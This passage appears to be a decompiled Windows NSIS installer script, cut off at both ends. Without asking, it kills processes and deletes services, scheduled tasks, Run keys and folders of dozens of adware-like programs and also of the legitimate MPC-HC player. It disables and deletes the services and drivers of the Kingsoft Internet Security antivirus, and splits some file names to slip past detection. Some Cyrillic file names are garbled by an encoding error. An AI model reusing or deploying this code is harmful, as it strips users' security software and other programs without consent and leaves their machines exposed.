HKLM "SYSTEM\ControlSet001\services\Update Techgile" RMDir /r /REBOOTOK $PROGRAMFILES\Techgile label_14120: IfFileExists "$PROGRAMFILES\Optimizer Pro*" 0 label_14133 ReadRegStr $1 HKCU Software\Microsoft\Windows\CurrentVersion\Run "Optimizer Pro" Push $1 Push "" Push "" Push $\" Call :label_1606 Pop $1 Push $1 Call :label_1768 Pop $1 RMDir /r /REBOOTOK $1 DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Optimizer Pro" label_14133: IfFileExists $SMSTARTUP\OptimizerPro.lnk 0 label_14135 Delete /REBOOTOK $SMSTARTUP\OptimizerPro.lnk label_14135: IfFileExists "$PROGRAMFILES\Super Optimizer" 0 label_14138 DeleteRegValue HKCU Software\Microsoft\Windows\CurrentVersion\Run "Super Optimizer" RMDir /r /REBOOTOK "$PROGRAMFILES\Super Optimizer" label_14138: ClearErrors ReadRegStr $2 HKCU "Software\Super Optimizer" SetupName IfErrors label_14152 Push $2 Push "" Push "" Push $\" Call :label_1606 Pop $2 Push $2 Call :label_1768 Pop $2 IfFileExists $2 0 label_14152 RMDir /r /REBOOTOK $2 label_14152: IfFileExists $SMSTARTUP\SuperOptimizer.lnk 0 label_14154 Delete /REBOOTOK $SMSTARTUP\SuperOptimizer.lnk label_14154: IfFileExists "$PROGRAMFILES\surf slide" 0 label_14158 DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Update surf slide" DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Util surf slide" RMDir /r /REBOOTOK "$PROGRAMFILES\surf slide" label_14158: FunctionEnd Function func_14159 SetShellVarContext current IfFileExists $APPDATA\VOPackage 0 label_14163 DeleteRegKey HKLM SYSTEM\ControlSet001\services\serverca RMDir /r /REBOOTOK $APPDATA\VOPackage label_14163: IfFileExists $APPDATA\ASPackage 0 label_14178 DeleteRegKey HKLM SYSTEM\ControlSet001\services\serverca StrCpy $0 AS nsExec::Exec "cmd /k taskkill /IM $0Package.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $0Package.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM $0Srv.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $0Srv.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec Sleep 1000 RMDir /r /REBOOTOK $APPDATA\ASPackage label_14178: IfFileExists $PROGRAMFILES\VuuPC 0 label_14182 DeleteRegKey HKLM SYSTEM\ControlSet001\services\RemoteEngineService DeleteRegKey HKLM SYSTEM\ControlSet001\services\VuuPCConnectivity RMDir /r /REBOOTOK $PROGRAMFILES\VuuPC label_14182: IfFileExists $PROGRAMFILES\Crossbrowse 0 label_14194 nsExec::Exec "cmd /k taskkill /IM crossbrowse.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM crossbrowse.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM utility.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM utility.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $PROGRAMFILES\Crossbrowse label_14194: IfFileExists $LOCALAPPDATA\crossbrowse 0 label_14196 RMDir /r /REBOOTOK $LOCALAPPDATA\crossbrowse label_14196: IfFileExists $SMSTARTUP\crossbrowse.lnk 0 label_14198 Delete /REBOOTOK $SMSTARTUP\crossbrowse.lnk label_14198: ClearErrors ReadRegStr $2 HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run apphide IfErrors label_14208 ClearErrors Push $2 Push clean.exe Call :label_405 Pop $0 IfErrors label_14208 DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run apphide label_14208: IfFileExists $PROGRAMFILES\Infonaut* 0 label_14242 StrCpy $0 0 label_14210: EnumRegKey $1 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall $0 StrCmp $1 "" label_14242 IntOp $0 $0 + 1 ClearErrors Push $1 Push Infonaut Call :label_405 Pop $R3 IfErrors label_14210 ReadRegStr $2 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\$1 DisplayVersion Push $2 Push . Push _ Call func_179 Pop $3 DeleteRegKey HKLM SYSTEM\ControlSet001\services\insvc_$2 DeleteRegKey HKLM SYSTEM\ControlSet001\services\innfd_$2 System::Call kernel32::Wow64EnableWow64FsRedirection(i0) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i0) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\drivers\innfd_$3.sys 0 label_14234 Delete /REBOOTOK $SYSDIR\drivers\innfd_$3.sys label_14234: System::Call kernel32::Wow64EnableWow64FsRedirection(i1) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i1) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\drivers\innfd_$3.sys 0 label_14241 Delete /REBOOTOK $SYSDIR\drivers\innfd_$3.sys label_14241: RMDir /r /REBOOTOK $PROGRAMFILES\$1 label_14242: IfFileExists $PROGRAMFILES\BonusBerry 0 label_14244 RMDir /r /REBOOTOK $PROGRAMFILES\BonusBerry label_14244: IfFileExists $PROGRAMFILES\BBerry 0 label_14273 StrCpy $0 "" FindFirst $0 $R1 $PROGRAMFILES\BBerry\*.exe label_14247: StrCmp $R1 "" label_14255 nsExec::Exec "cmd /k taskkill /IM $\"$R1$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"$R1$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec FindNext $0 $R1 Goto label_14247 label_14255: FindClose $0 nsExec::Exec "cmd /k taskkill /IM ExtensionUpdaterService.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM ExtensionUpdaterService.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"Update Service for BBerry$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"Update Service for BBerry$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn $\"Update Service for BBerry2$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"Update Service for BBerry2$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack Sleep 3000 RMDir /r /REBOOTOK $PROGRAMFILES\BBerry label_14273: IfFileExists "$PROGRAMFILES\1 Media Player" 0 label_14275 RMDir /r /REBOOTOK "$PROGRAMFILES\1 Media Player" label_14275: IfFileExists "$PROGRAMFILES\Media Player Z" 0 label_14289 DeleteRegKey HKLM SYSTEM\ControlSet001\services\sogrMed DeleteRegKey HKLM SYSTEM\ControlSet001\services\UpdatingServiceMed nsExec::Exec "cmd /k taskkill /IM ZUpdater.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM ZUpdater.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM ZNewVersionDownloader.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM ZNewVersionDownloader.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK "$PROGRAMFILES\Media Player Z" label_14289: ClearErrors EnumRegKey $0 HKLM SYSTEM\ControlSet001\services\{a3730592-7b31-4002-9366-8a726171fb7b}Gw64 $0 IfErrors label_14293 DeleteRegKey HKLM SYSTEM\ControlSet001\services\{a3730592-7b31-4002-9366-8a726171fb7b}Gw64 label_14293: IfFileExists $PROGRAMFILES\MPC-HC\mpc-hc.exe 0 label_14295 RMDir /r /REBOOTOK $PROGRAMFILES\MPC-HC label_14295: IfFileExists $DESKTOP\MPC-HC.lnk 0 label_14297 Delete $DESKTOP\MPC-HC.lnk label_14297: IfFileExists $APPDATA\Gameo 0 label_14300 DeleteRegValue HKCU Software\Microsoft\Windows\CurrentVersion\Run Gameo RMDir /r /REBOOTOK $APPDATA\Gameo label_14300: StrCpy $0 "" ClearErrors ReadRegStr $R0 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Convert$0Ad UninstallString IfErrors label_14327 Push $R0 Call :label_1768 Pop $R0 Push $R0 Push "" Push "" Push $\" Call :label_1606 Pop $R0 StrCpy $0 ConvertAd.exe KillProc::FindProcesses ; Call Initialize_____Plugins ; File $PLUGINSDIR\KillProc.dll ; SetDetailsPrint lastused ; CallInstDLL $PLUGINSDIR\KillProc.dll FindProcesses StrCmp $1 -1 label_14325 StrCmp $0 0 label_14325 StrCpy $0 ConvertAd.exe KillProc::KillProcesses ; Call Initialize_____Plugins ; File $PLUGINSDIR\KillProc.dll ; SetDetailsPrint lastused ; CallInstDLL $PLUGINSDIR\KillProc.dll KillProcesses label_14325: IfFileExists $R0 0 label_14327 RMDir /r /REBOOTOK $R0 label_14327: IfFileExists $LOCALAPPDATA\ConvertAd 0 label_14330 DeleteRegKey HKLM SYSTEM\ControlSet001\services\servervo RMDir /r /REBOOTOK $LOCALAPPDATA\ConvertAd label_14330: IfFileExists $LOCALAPPDATA\GamesBot 0 label_14332 RMDir /r /REBOOTOK $LOCALAPPDATA\GamesBot label_14332: IfFileExists $APPDATA\GbUpdSrv 0 label_14339 nsExec::Exec "cmd /k taskkill /IM UpdaterService.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM UpdaterService.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $APPDATA\GbUpdSrv label_14339: IfFileExists $SYSDIR\config\systemprofile\AppData\Roaming\VOPackage 0 label_14341 RMDir /r /REBOOTOK $SYSDIR\config\systemprofile\AppData\Roaming\VOPackage label_14341: IfFileExists $APPDATA\Installer\rotator3.exe 0 label_14343 Delete /REBOOTOK $APPDATA\Installer\rotator3.exe label_14343: IfFileExists $APPDATA\mystartsearch 0 label_14345 RMDir /r /REBOOTOK $APPDATA\mystartsearch label_14345: IfFileExists $SMSTARTUP\run_ctrl.exe 0 label_14349 Call func_555 Sleep 3000 Delete /REBOOTOK $SMSTARTUP\run_ctrl.exe label_14349: IfFileExists $SMSTARTUP\str_up.exe 0 label_14353 Call func_591 Sleep 3000 Delete /REBOOTOK $SMSTARTUP\str_up.exe label_14353: IfFileExists $SMSTARTUP\strdup.exe 0 label_14357 Call func_573 Sleep 3000 Delete /REBOOTOK $SMSTARTUP\strdup.exe label_14357: IfFileExists $DOCUMENTS\svdhost.exe 0 label_14361 Call func_609 Sleep 3000 Delete /REBOOTOK $DOCUMENTS\svdhost.exe label_14361: IfFileExists $DOCUMENTS\swdhost.exe 0 label_14365 Call func_609 Sleep 3000 Delete /REBOOTOK $DOCUMENTS\swdhost.exe label_14365: IfFileExists $DOCUMENTS\swhust.exe 0 label_14369 Call func_609 Sleep 3000 Delete /REBOOTOK $DOCUMENTS\swhust.exe label_14369: IfFileExists $DOCUMENTS\swshost.exe 0 label_14373 Call func_609 Sleep 3000 Delete /REBOOTOK $DOCUMENTS\swshost.exe label_14373: IfFileExists $DOCUMENTS\svshost.exe 0 label_14377 Call func_609 Sleep 3000 Delete /REBOOTOK $DOCUMENTS\svshost.exe label_14377: StrCpy $1 svh StrCpy $2 ost.exe IfFileExists $DOCUMENTS\$1$2 0 label_14383 Call func_609 Sleep 3000 Delete /REBOOTOK $DOCUMENTS\$1$2 label_14383: IfFileExists "$PROGRAMFILES\48 dresses\48_dresses_notification_service.exe" 0 label_14390 nsExec::Exec "cmd /k taskkill /IM 48_dresses_notification_service.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM 48_dresses_notification_service.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK "$PROGRAMFILES\48 dresses" label_14390: IfFileExists "$PROGRAMFILES\Microsoft Data\*addons.exe" 0 label_14413 StrCpy $1 nstall nsExec::Exec "cmd /k taskkill /IM I$1Addons.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM I$1Addons.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM i$1_addons.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM i$1_addons.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM extractor.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM extractor.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM i$1er_no_chrome.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM i$1er_no_chrome.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK "$PROGRAMFILES\Microsoft Data" label_14413: IfFileExists $APPDATA\Genieo 0 label_14417 DeleteRegValue HKCU Software\Microsoft\Windows\CurrentVersion\Run GenieoSystemTray DeleteRegValue HKCU Software\Microsoft\Windows\CurrentVersion\Run GenieoUpdaterService RMDir /r /REBOOTOK $APPDATA\Genieo label_14417: IfFileExists $DESKTOP\Genieo.lnk 0 label_14419 Delete $DESKTOP\Genieo.lnk label_14419: IfFileExists $APPDATA\omniboxes 0 label_14421 RMDir /r /REBOOTOK $APPDATA\omniboxes label_14421: IfFileExists $PROGRAMFILES\iWebar 0 label_14423 RMDir /r /REBOOTOK $PROGRAMFILES\iWebar label_14423: IfFileExists $PROGRAMFILES\ShopperPro 0 label_14436 DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run SPDriver nsExec::Exec "cmd /k taskkill /IM jsdrv.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM jsdrv.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn SPDriver /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn SPDriver /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK $PROGRAMFILES\ShopperPro label_14436: IfFileExists "$PROGRAMFILES64\Common Files\ShopperPro" 0 label_14457 DeleteRegKey HKLM SYSTEM\ControlSet001\services\SPBIUpd DeleteRegKey HKLM SYSTEM\ControlSet001\services\SPBIUpdd DeleteRegKey HKLM SYSTEM\ControlSet001\services\SPDRIVER_1535.0.0.0 StrCpy $0 spbiu nsExec::Exec "cmd /k taskkill /IM $0.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $0.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn ShopperProJSUpd /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn ShopperProJSUpd /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn ShopperPro /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn ShopperPro /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK "$PROGRAMFILES64\Common Files\ShopperPro" label_14457: IfFileExists "$PROGRAMFILES\YouTube Accelerator" 0 label_14497 nsExec::Exec "cmd /k taskkill /IM YouTubeAccelerator.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM YouTubeAccelerator.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM YouTubeAcceleratorService.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM YouTubeAcceleratorService.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\vde1ntk1 DeleteRegKey HKLM HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\ute1ntk1 DeleteRegKey HKLM SYSTEM\ControlSet001\services\YouTubeAcceleratorService DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run GoobzoYouTubeAccelerator nsExec::ExecToStack "schtasks /delete /tn YTAUpdate_logon /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn YTAUpdate_logon /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn YTAUpdate /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn YTAUpdate /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn Inst_Rep /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn Inst_Rep /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack Delete /REBOOTOK "$PROGRAMFILES\YouTube Accelerator\YouTubeAccelerator.exe" Delete /REBOOTOK "$PROGRAMFILES\YouTube Accelerator\YouTubeAcceleratorService.exe" IfFileExists $TEMP\SAINST 0 label_14491 RMDir /r /REBOOTOK $TEMP\SAINST label_14491: IfFileExists "$PROGRAMFILES\YouTube Accelerator\UNWISE.EXE" 0 label_14498 nsExec::Exec "cmd /k cd $\"$PROGRAMFILES\YouTube Accelerator$\" & UNWISE.EXE /S INSTALL.LOG" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k cd $\"$PROGRAMFILES\YouTube Accelerator$\" & UNWISE.EXE /S INSTALL.LOG" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec label_14497: IfFileExists $PROGRAMFILES\YTAHelper 0 label_14499 label_14498: RMDir /r /REBOOTOK $PROGRAMFILES\YTAHelper label_14499: IfFileExists $PROGRAMFILES\SensePlus 0 label_14501 RMDir /r /REBOOTOK $PROGRAMFILES\SensePlus label_14501: IfFileExists $PROGRAMFILES\YTDownloader 0 label_14504 DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run YTDownloader RMDir /r /REBOOTOK $PROGRAMFILES\YTDownloader label_14504: IfFileExists "$PROGRAMFILES\SavePass 1.1" 0 label_14506 RMDir /r /REBOOTOK "$PROGRAMFILES\SavePass 1.1" label_14506: IfFileExists $PROGRAMFILES\Sense 0 label_14508 RMDir /r /REBOOTOK $PROGRAMFILES\Sense label_14508: IfFileExists $PROGRAMFILES\Ge-Force 0 label_14510 RMDir /r /REBOOTOK $PROGRAMFILES\Ge-Force label_14510: IfFileExists $PROGRAMFILES\HQ-Video-Pro* 0 label_14522 StrCpy $0 0 label_14512: EnumRegKey $1 HKCU Software\AppDataLow\Software $0 StrCmp $1 "" label_14522 IntOp $0 $0 + 1 ClearErrors Push $1 Push HQ-Video-Pro Call :label_405 Pop $R3 IfErrors label_14512 RMDir /r /REBOOTOK $PROGRAMFILES\$1 label_14522: IfFileExists "$PROGRAMFILES\HQCinema Pro*" 0 label_14534 StrCpy $0 0 label_14524: EnumRegKey $1 HKLM Software $0 StrCmp $1 "" label_14534 IntOp $0 $0 + 1 ClearErrors Push $1 Push "HQCinema Pro" Call :label_405 Pop $R3 IfErrors label_14524 RMDir /r /REBOOTOK $PROGRAMFILES\$1 label_14534: IfFileExists "$PROGRAMFILES\HQVideo Go Pro*" 0 label_14543 StrCpy $0 "" FindFirst $0 $R1 "$PROGRAMFILES\HQVideo Go Pro*" label_14537: StrCmp $R1 "" label_14542 IfFileExists $PROGRAMFILES\$R1 0 label_14540 RMDir /r /REBOOTOK $PROGRAMFILES\$R1 label_14540: FindNext $0 $R1 Goto label_14537 label_14542: FindClose $0 label_14543: IfFileExists "$PROGRAMFILES\HQ Video*" 0 label_14552 StrCpy $0 "" FindFirst $0 $R1 "$PROGRAMFILES\HQ Video*" label_14546: StrCmp $R1 "" label_14551 IfFileExists $PROGRAMFILES\$R1 0 label_14549 RMDir /r /REBOOTOK $PROGRAMFILES\$R1 label_14549: FindNext $0 $R1 Goto label_14546 label_14551: FindClose $0 label_14552: IfFileExists "$PROGRAMFILES\HQ Cinema Video*" 0 label_14564 StrCpy $0 0 label_14554: EnumRegKey $1 HKLM Software $0 StrCmp $1 "" label_14564 IntOp $0 $0 + 1 ClearErrors Push $1 Push "HQ Cinema Video" Call :label_405 Pop $R3 IfErrors label_14554 RMDir /r /REBOOTOK $PROGRAMFILES\$1 label_14564: IfFileExists $PROGRAMFILES\CinemaP* 0 label_14572 StrCpy $0 "" FindFirst $0 $R1 $PROGRAMFILES\CinemaP* label_14567: StrCmp $R1 "" label_14571 RMDir /r /REBOOTOK $PROGRAMFILES\$R1 FindNext $0 $R1 Goto label_14567 label_14571: FindClose $0 label_14572: IfFileExists "$PROGRAMFILES\Cinema Plus Pro*" 0 label_14581 StrCpy $0 "" FindFirst $0 $R1 "$PROGRAMFILES\Cinema Plus Pro*" label_14575: StrCmp $R1 "" label_14580 IfFileExists $PROGRAMFILES\$R1 0 label_14578 RMDir /r /REBOOTOK $PROGRAMFILES\$R1 label_14578: FindNext $0 $R1 Goto label_14575 label_14580: FindClose $0 label_14581: IfFileExists $PROGRAMFILES\SmartSaver* 0 label_14593 StrCpy $0 0 label_14583: EnumRegKey $1 HKLM Software $0 StrCmp $1 "" label_14583 IntOp $0 $0 + 1 ClearErrors Push $1 Push SmartSaver+ Call :label_405 Pop $R3 IfErrors label_14583 RMDir /r /REBOOTOK $PROGRAMFILES\$1 label_14593: IfFileExists $PROGRAMFILES\kingsoft 0 label_14654 nsExec::Exec "cmd /k reg delete $\"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run$\" /v $\"kxesc$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k reg delete $\"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run$\" /v $\"kxesc$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k sc config KDHacker start= disabled" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k sc config KDHacker start= disabled" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k sc config kisnetm start= disabled" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k sc config kisnetm start= disabled" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k sc config ksapi64 start= disabled" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k sc config ksapi64 start= disabled" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k sc config KUsbGuard start= disabled" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k sc config KUsbGuard start= disabled" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k sc config kxescore start= disabled" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k sc config kxescore start= disabled" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM kxescore.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM kxescore.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM kxetray.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM kxetray.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\KDHacker DeleteRegKey HKLM SYSTEM\ControlSet001\services\kisnetm DeleteRegKey HKLM SYSTEM\ControlSet001\services\ksapi64 DeleteRegKey HKLM SYSTEM\ControlSet001\services\KUsbGuard DeleteRegKey HKLM SYSTEM\ControlSet001\services\kxescore DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run kxesc DeleteRegKey HKLM "SYSTEM\ControlSet001\services\eventlog\Kingsoft Internet Security" RMDir /r /REBOOTOK $PROGRAMFILES\kingsoft System::Call kernel32::Wow64EnableWow64FsRedirection(i0) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i0) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\drivers\ksapi64.sys 0 label_14649 Delete /REBOOTOK $SYSDIR\drivers\ksapi64.sys label_14649: System::Call kernel32::Wow64EnableWow64FsRedirection(i1) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i1) ; CallInstDLL $PLUGINSDIR\System.dll Call label_14654: IfFileExists $PROGRAMFILES\BrowserApp* 0 label_14662 StrCpy $0 "" FindFirst $0 $R1 $PROGRAMFILES\BrowserApp* label_14657: StrCmp $R1 "" label_14661 RMDir /r /REBOOTOK $PROGRAMFILES\$R1 FindNext $0 $R1 Goto label_14657 label_14661: FindClose $0 label_14662: IfFileExists $PROGRAMFILES\PrIceLiEsus 0 label_14664 RMDir /r /REBOOTOK $PROGRAMFILES\PrIceLiEsus label_14664: IfFileExists $APPDATA\CoupSeek 0 label_14677 DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run CoupSeek nsExec::Exec "cmd /k taskkill /IM scpsk.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM scpsk.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM pecpsk.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM pecpsk.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $APPDATA\CoupSeek label_14677: IfFileExists "$DESKTOP\Èñêàòü â Èíòåðíåòå.url" 0 label_14679 Delete "$DESKTOP\Èñêàòü â Èíòåðíåòå.url" label_14679: IfFileExists $LOCALAPPDATA\WikiUpdate.exe 0 label_14687 DeleteRegKey HKLM SYSTEM\ControlSet001\services\WikiBrowserUpdateService nsExec::Exec "cmd /k taskkill /IM WikiUpdate.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM WikiUpdate.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec Delete /REBOOTOK $LOCALAPPDATA\WikiUpdate.exe label_14687: IfFileExists "$DESKTOP\Èãðàòü â World of Tanks.lnk" 0 label_14689 Delete "$DESKTOP\Èãðàòü â World of Tanks.lnk" label_14689: IfFileExists "$PROGRAMFILES\Gaming Companion" 0 label_14701 nsExec::Exec "cmd /k taskkill /IM gaming_companion_helper_service.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM gaming_companion_helper_service.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"gaming_companion_helper_service$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"gaming_companion_helper_service$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK 